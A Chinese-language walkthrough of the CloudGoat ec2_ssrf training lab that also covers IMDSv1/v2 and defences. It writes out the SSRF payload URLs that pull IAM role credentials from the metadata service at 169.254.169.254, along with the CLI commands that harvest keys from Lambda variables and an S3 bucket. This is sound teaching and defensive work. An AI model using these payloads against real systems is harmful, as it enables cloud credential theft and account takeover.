EC2 · 元数据服务 · IAM 凭证 · Lambda · S3 全链路复盘
标签:云安全 / 渗透测试 / 红队实战
如今的云环境很少因为"软件漏洞"被攻破,更多是栽在配置错误 上。其中最典型、也最致命的一类问题就是服务端请求伪造(SSRF)------尤其当云端的元数据服务恰好暴露给了一个可以被攻击者控制的应用时。
本文以 CloudGoat 的 ec2_ssrf 场景为例,完整走一遍这样一条攻击链:攻击者利用一个存在 SSRF 的 EC2 应用去访问 AWS 实例元数据服务(IMDS),窃取临时 IAM 角色凭证,再借助环境里散落的密钥不断横向移动与提权,最终完全接管整个 AWS 账户。全程既讲清"怎么打",也讲透"为什么能打通"和"该如何防"。

图 0:本文将要复现的完整 SSRF 攻击链
一、为什么 SSRF + 云元数据是致命组合
SSRF 的本质是:应用替攻击者发起了它本不该发起的网络请求。 当一个 Web 应用允许用户传入一个 URL 并由服务端去访问它,却没有对目标做任何校验时,攻击者就能把这个应用当成"跳板",去触碰那些原本只有服务器内部才能访问的地址。
在 AWS 里,最诱人的内部地址就是实例元数据服务(IMDS),它固定位于 169.254.169.254 。这是一个链路本地地址,只能从实例内部访问。它保存着实例的配置信息------其中最关键的,是与该 EC2 绑定的 IAM 角色的临时安全凭证(Access Key、Secret Key 和 Session Token)。
⚠ 关键点
一旦攻击者能通过 SSRF 读到 IMDS,就等于直接"捡到"了这台机器的身份。此后所有操作都以这个 IAM 角色的权限进行------它有多大权限,攻击者就有多大破坏力。
二、CloudGoat 简介
CloudGoat 是由 Rhino Security Labs 开发的一款开源、**"故意做得有漏洞"**的 AWS 安全训练工具。它用 Terraform 一键部署一套刻意存在配置缺陷的 AWS 资源,让安全从业者能在合法、可控的环境里练习发现、利用和修复常见的云安全问题。
- 所有漏洞都被设计成只有拥有该 AWS 账户访问权的人才能利用;
- 敏感资源会通过 IP whitelist 白名单限制到你自己的地址(推荐带
/32); - 默认状态下可以安全地长期运行,不必担心外部攻击者的威胁。
三、场景概览
先把这个实验的全貌摆出来:
| 项目 | 说明 |
|---|---|
| 实验平台 | CloudGoat(Rhino Security Labs 开源) |
| 云服务商 | Amazon Web Services (AWS) |
| 攻击手法 | 服务端请求伪造 Server-Side Request Forgery (SSRF) |
| 攻击目标 | 部署在 EC2 上的存在漏洞的 Web 应用 |
| 最终目标 | 通过 EC2 元数据服务窃取 IAM 凭证,进而完全接管环境 |
这个应用是被刻意做成有漏洞的,部署在一台绑定了 IAM 角色的 EC2 实例上。整套环境的资源关系和我们的攻击视角如下图:

图 1:ec2_ssrf 场景的资源拓扑与攻击面
四、实验环境搭建
4.1 准备 AWS 账户与 IAM 用户
首先需要一个 AWS 账户(新手可以走一遍 AWS 的渗透测试实验环境搭建)。然后在 IAM 中准备一个用于部署 CloudGoat 的用户:
- 登录 AWS 管理控制台,进入 IAM;
- 左侧导航选择 Users → Create user ,起一个便于识别的用户名(如
cloudgoat-user); - 在权限页选择"加入用户组",新建一个组(如
administrator),附加 AdministratorAccess 策略; - 回到该用户的 Security credentials 标签页,创建访问密钥,用途选 Command Line Interface (CLI);
- 立即复制 Access Key ID 和 Secret Access Key------离开页面后 Secret Key 不会再次显示。
为什么给管理员权限?
这里的管理员权限是给"部署者"用的,用于创建和销毁实验资源,与我们后面要攻击的"靶机身份"完全无关。真实生产环境请遵循最小权限原则。
4.2 在 Kali 上安装 Terraform
以下步骤都在 Kali Linux 中进行。先切换到一个干净的工作目录,下载 Terraform:
bash
wget https://releases.hashicorp.com/terraform/1.5.0/terraform_1.5.0_linux_amd64.zip
解压并安装到 PATH:
bash
unzip terraform_1.5.0_linux_amd64.zip
chmod +x terraform
sudo mv terraform /usr/local/bin/
terraform --version
关于版本
看到"版本过旧"的提示可以直接忽略。CloudGoat 常用 v1.4.x / 1.5.x,最新版并非必需,盲目升级反而可能让实验跑不起来。生产项目才需要"最新稳定版 + 固定 provider 版本"。
4.3 配置 AWS CLI 并安装 CloudGoat
安装并确认 AWS CLI:
bash
curl https://awscli.amazonaws.com/awscli-exe-linux-x86_64.zip -o awscliv2.zip
aws --version
用前面保存的密钥配置一个 cloudgoat-user 配置档:
bash
aws configure --profile cloudgoat-user
从 GitHub 克隆 CloudGoat,创建虚拟环境并安装:
bash
git clone https://github.com/RhinoSecurityLabs/cloudgoat.git
cd ~/cloudgoat
python3 -m venv venv
source venv/bin/activate
pip install -e .
cloudgoat --help
4.4 加白名单并启动场景
先把自己的公网 IP 加入白名单,输入时带上 CIDR(/32 表示只允许你这一个 IP):
bash
cloudgoat config whitelist
然后启动 ec2_ssrf 场景:
bash
cloudgoat create ec2_ssrf --profile cloudgoat
部署完成后(terraform 会显示类似 Apply complete! Resources: 27 added 的输出),你会拿到初始用户 Solus 的 Access Key 与 Secret Key。用它们配置一个 solus 档并验证身份:
bash
aws configure --profile solus
aws sts get-caller-identity --profile solus
若返回的 ARN 形如 ...:user/solus-<id>,说明我们已经成功进入靶场,以低权限用户 Solus 的身份站在了起点。
五、枚举与利用(正片)
整条攻击链会经历四次"换身份",每一次都比上一次权限更高。下面这张阶梯图是本节的地图,建议对照着看:

图 2:凭证横移与权限提升的四级阶梯
5.1 枚举 Lambda:意外泄露的 EC2 凭证
Lambda 是 AWS 的无服务器计算服务。一个常见的坏习惯是:开发者把敏感信息塞进 Lambda 的环境变量里,部署后又忘了清理。低权限账户往往就能读到这些变量,从而实现提权。
以 Solus 身份列出所有 Lambda 函数:
bash
aws lambda list-functions --profile solus
在输出的 Environment.Variables 里,可以清楚看到一组新的凭证------这次是一对属于 EC2 的密钥(EC2_ACCESS_KEY_ID 与 EC2_SECRET_KEY_ID)。
用这对新凭证配置一个新档:
bash
aws configure --profile ec2-profile
5.2 枚举 EC2:找到暴露在公网的 Web 应用
换成 ec2-profile 身份,去发现环境里活跃的 EC2 实例、尤其是暴露在公网上的:
bash
aws ec2 describe-instances --profile ec2-profile
重点关注输出里的 NetworkInterfaces → Association → PublicIp 。本例中会看到一个公网 IP(如 3.81.100.247)对应一台跑着 Web 服务的实例。用浏览器访问它,会看到一个自我介绍式的页面:"我是一个应用,给我一个 URL,我帮你去请求它。"
⚠ 危险信号
"把你给的 URL 拿去请求"------这正是 SSRF 的教科书式特征。应用把用户可控的 URL 当作请求目标,且没有任何校验。
5.3 SSRF 读取 IMDS:窃取 IAM 角色凭证
这是整条链的核心。我们让这个应用替我们去访问只有实例内部才够得到的元数据端点。请求的时序如下:

图 3:借助 SSRF,Web 应用成为访问 IMDS 的代理
第一步,先问 IMDS:这台实例上绑定了哪个 IAM 角色?
text
http://3.81.100.247/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
页面会回显出角色名,例如 cg-ec2-role-<id>。第二步,把角色名拼到路径末尾,去取该角色的临时凭证:
text
http://3.81.100.247/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-<id>
这次返回的是一份完整的临时凭证:AccessKeyId 、SecretAccessKey 以及一个 Token。用它们配置一个新档(临时凭证需要额外填入 Session Token)并验证:
bash
aws configure --profile ec2-role
# 记得把 aws_session_token 也写进 ~/.aws/credentials
aws sts get-caller-identity --profile ec2-role
此时返回的 ARN 会是 ...:assumed-role/cg-ec2-role-<id>/...,证明我们已经"成为"了这台 EC2 的角色。
5.4 枚举 S3:找到密钥桶
带着通过 SSRF 拿到的 ec2-role 身份去枚举 S3:
bash
aws s3 ls --profile ec2-role
会看到一个名为 cg-secret-s3-bucket-<id> 的"密钥桶"。列出它的内容,注意结果里的 PRE aws/------说明桶非空,且对象都在一个类似文件夹的前缀 aws/ 下:
bash
aws s3 ls s3://cg-secret-s3-bucket-<id> --profile ec2-role
遇到 PRE something/ 就要往里钻。用递归列举(较新版本的 CloudGoat 把密钥存为 aws/credentials):
bash
aws s3 ls s3://cg-secret-s3-bucket-<id> --recursive --profile ec2-role
确认里面有敏感文件后,直接把内容打到标准输出:
bash
aws s3 cp s3://cg-secret-s3-bucket-<id>/aws/credentials - --profile ec2-role
文件里是一对 [default] 长期凭证。用它配置最后一个档 admin-from-s3:
bash
aws configure --profile admin-from-s3
这就是一个权限大得多的身份了。
5.5 最终攻击:调用敏感 Lambda
回到最初的目标:调用环境里那个敏感的 Lambda 函数。Solus 一开始只有对它的只读权限;而现在我们已经握有管理员凭证,可以真正执行它了。
bash
aws lambda list-functions --profile admin-from-s3
aws lambda invoke --function-name cg-lambda-<id> --payload '{}' output.txt --profile admin-from-s3
返回 "StatusCode": 200 即代表函数成功执行------至此,ec2_ssrf 场景通关。你已经串起了 Lambda、访问密钥、EC2、SSRF 与 S3 这一整条链路。
六、攻击路径复盘
回头看,这条链完美演示了云环境里一种极其常见的攻击范式------一个看似不起眼的 SSRF,配合几处松散的 IAM 配置,就足以滚雪球般发展成整个账户的沦陷:
SSRF → 元数据 → IAM 角色 → Lambda 密钥 → 凭证横移 → 权限提升
值得注意的是:每一环单独看都不算"高危 0day",真正的危险来自它们被串在一起------泄露的 Lambda 密钥、可被 SSRF 读取的元数据、放在 S3 里的长期管理员凭证,任何一处堵住,链条都会断裂。
七、深入:IMDSv1 与 IMDSv2
这条链能打通,根子在于实例用的是 IMDSv1。理解这两个版本的差异,是理解防御的关键。

图 4:IMDSv1 与 IMDSv2 的核心区别
IMDSv1 只需一次简单的 GET 请求就能拿到凭证,而绝大多数 SSRF 恰好只能发出 GET,因此一拍即合。
IMDSv2 引入了"会话令牌"机制:必须先用 PUT 请求换取一个短时效令牌,之后每次请求都要带上这个令牌头。多数 SSRF 无法发送 PUT、也无法自定义请求头,于是被挡在门外,这就是为什么把 IMDSv2 设为强制(http-tokens = required) 是最有效的单点缓解措施。
八、防御建议
要缓解这类基于 SSRF 的凭证窃取,可以从以下几个层面同时着手:
- 强制启用 IMDSv2 (
http-tokens = required),阻断无令牌的元数据访问; - 在网络/应用层限制对元数据地址
169.254.169.254的访问; - 对应用发起的出站请求做校验与白名单,从源头消除 SSRF;
- 为 IAM 角色施行最小权限原则,即便凭证泄露也把影响面压到最小;
- 不要把长期凭证明文存放在 S3 等对象存储里,改用短时角色与密钥管理服务。
九、别忘了销毁环境
⚠ 重要:避免持续计费
实验做完后一定要用基础设施即代码的方式彻底拆除环境,否则会持续产生 AWS 费用。
bash
cloudgoat destroy ec2_ssrf --profile cloudgoat
十、结语
这个 CloudGoat 实验清晰地展示了:一个简单的 SSRF,一旦叠加上不安全的 IAM 实践,就足以升级为整个云环境的完全沦陷。像这样动手打一遍,能让你对真实世界里的 AWS 攻击路径有远比读文档更深刻的体感------也更能理解为什么云安全必须被当成"一等公民"来对待。
如果这篇复盘对你有帮助,欢迎点赞、收藏、转发给同样在啃云安全的朋友。
附录:用 Amazon Q Developer 巡检 S3 配置
需要澄清一点:S3 本身并不危险,它只是一个存储服务。真正的风险来自**"怎么配置"和"往里放了什么"**。本文的实验里,S3 没有任何"漏洞"------只是有人把明文管理员凭证放进了桶里,而 IAM 权限又恰好允许一个低权限角色读到它。这两点都属于配置/使用上的失误。
下面这些是最值得排查的 S3 常见错误配置:
- 公开访问:桶或对象对整个互联网可读/可写(公开 ACL、公开桶策略、关闭了 Block Public Access);
- 过度授权的策略 :出现
"Principal": "*"、通配符操作如s3:*,或不该有的跨账户/角色读取权限; - 桶内存放机密 :凭证、API 密钥、
.env文件、私钥直接躺在桶里(正是本实验的症结); - 未加密:默认加密未开启,或对象未在静态时加密;
- 无日志 / 无版本控制:访问日志与版本控制关闭,事后更难发现和恢复;
- 传输不安全 :策略未通过
aws:SecureTransport强制 HTTPS。
可直接使用的巡检提示词
把下面这段提示词交给 Amazon Q Developer,它会以只读方式巡检账户里的所有 S3 桶并输出一张风险表格------不会改动任何资源。
text
请你扮演一名 AWS 云安全审计员,对我当前 AWS 账户中的所有 S3 存储桶执行一次【只读】安全巡检。除查询与描述外,不要创建、修改或删除任何资源。
针对每个存储桶,检查并报告以下项目:
1. 公开暴露:账户级与桶级的 Block Public Access 设置、桶 ACL,以及允许匿名/公开访问的桶策略(如 Principal 为 * 或 AllUsers / AuthenticatedUsers)。
2. 过度授权:使用通配符主体或通配符操作(如 s3:*)的桶策略或 IAM 语句,以及跨账户访问授权。
3. 加密:是否启用默认服务端加密,以及密钥类型(SSE-S3 或 SSE-KMS)。
4. 传输安全:桶策略是否通过 aws:SecureTransport 条件强制仅允许 HTTPS 访问。
5. 日志与版本控制:是否启用了服务器访问日志和对象版本控制。
6. 敏感数据风险:标记桶名或对象键中疑似存放密钥的命名(如包含 credentials、.env、secret、key、backup、dump 等)。注意:仅根据名称/元数据标记,不要下载或输出对象内容。
请以表格形式给出结果,列包括:桶名 | 是否公开 | 加密 | 是否强制 HTTPS | 日志 | 版本控制 | 风险标记 | 严重级别(高/中/低)。
表格之后,给出按优先级排序的整改清单:对每个"高"级别问题,说明具体修复方式及对应的 AWS CLI 命令或控制台设置,并遵循最小权限原则。将任何可公开访问或疑似存放凭证的存储桶标为【严重】。
使用提示
Q Developer 需要能访问你的账户上下文(通过控制台/IDE 集成或已配置的凭证);它可能会询问使用哪个 region 或 profile。如果桶很多,请提醒它分页遍历而不是抽样。若只想检查单个桶,把"所有 S3 存储桶"改成具体桶名即可。